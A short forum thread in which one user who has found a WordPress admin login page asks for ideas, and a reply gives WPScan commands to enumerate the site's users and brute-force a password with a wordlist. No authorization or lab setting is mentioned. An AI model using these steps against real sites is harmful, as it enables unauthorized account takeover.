Thread: [Wordpress Attacks](#)

Saburu_Arisaka - October 4, 2020, 7:18 am

Was running your usual scans and decided to hit it with a web crawler. The crawler returned the wordpress login page for the admin of the site.

I though about using hydra or something, but I'm not sure.

Anyone have any ideas?

The Amazing Sinner - October 4, 2020, 7:26 am

You can run a dictionary attack with WPScan, have you heard of that?

First, you have to enumerate the WordPress users.

The WordPress user enumeration tool is used the retrieve a list of registered WordPress users for the target host:

Code wpscan --url [wordpress url]--enumerate u

Use the following command to brute force the password for user root:

Code wpscan --url [wordpress url]--wordlist [path to wordlist]--username [username to brute force]--threads [number of threads to use]
